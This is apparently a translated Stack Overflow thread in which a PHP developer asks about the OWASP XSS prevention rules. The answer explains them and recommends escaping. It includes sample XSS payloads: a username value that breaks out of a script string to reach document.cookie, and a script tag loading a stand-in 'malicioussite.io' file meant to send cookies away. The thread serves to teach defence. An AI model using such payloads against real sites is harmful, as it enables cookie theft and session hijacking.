OWASP Cross Site Scripting规则?

时间:2014-09-23 14:17:41

标签: php forms security xss owasp

我正在阅读有关XSS的知识,以便在使用PHP时了解自己的安全性。我指的是this article,他们谈论XSS以及应该遵守的一些规则。

有人可以为我解释规则#0和#1吗?我理解他们正在保存的一些内容,但当他们说不受信任的数据时,他们是指用户输入的数据吗?

我正在研究某些表格,并且我正在努力遵守这些规则以防止XSS。问题是,一旦表单完成,我从不向用户输出任何内容。我所做的就是处理数据并将其保存到文本文件中。我已经完成了一些客户端和许多服务器端验证,但我无法弄清never insert untrusted data except in allowed locations的含义。

escaping他们的意思是closing tags - </>?

1 个答案:

答案 0 :(得分:0)

规则#0表示您不应在您希望运行说明的网页位置输出数据。

如您的网址所示,请勿将用户生成的数据放在<script>标记内。例如,这是禁忌:

<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+<?=$username?>+"!";
</script>

看起来很安全,对吗?那么,如果你的$ username变量包含以下值,该怎么办:

""; console.log(document.cookie);//

因此,在网站上,您要展示的内容将是:

<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+""; console.log(document.cookie);//+"!";
</script>

因此,有人可以轻松窃取用户的Cookie并提升他们的权限。现在想象一下,您使用类似的代码来说明,更新哪个用户创建了最新的帖子,并通过AJAX显示。如果您执行上述操作,那么等待发生的灾难(并且首先不要清理用户名)。

同样适用于<style><img><embed><iframe>或任何其他可让您运行脚本或导入资源的标记。也适用于评论。浏览器忽略注释,但是一些解释器(如JSP解析器)将HTML注释作为模板文本处理。它不会忽略它的内容。

规则#1非常类似于规则#0,如果您在某个时间点开发Web应用程序,则必须输出用户生成的数据,无论是电子邮件地址,用户名,名称,管他呢。

如果您正在开发论坛,可能您可能想要为您的用户提供一些文字样式选项。粗体字母,下划线和斜体等基本内容应该足够了。如果你想获得幻想,你甚至可以让用户改变字体。

一个简单的方法,没有太多的复杂性,只是让用户在他们选择的时候编写自己的HTML,所以如果你输入用户的HTML,那么安全&#34;像<p>标签之间的位置,那么等待发生的灾难也是如此。

因为我可以写:

  

嘿大家,这是我的第一篇帖子<script src="//malicioussite.io/hackingYoCookiez.js"></script>

如果你不想逃避这种输入,人们只会看到:

  

嘿大家,这是我的第一篇文章!

但您的浏览器还会看到一个外部JavaScript,告诉它将每个人的Cookie发送到远程位置。

所以总是逃避数据。如果您正在使用PHP,则可以使用htmlentities或使用像Twig这样的模板引擎,它会自动为您输出输出。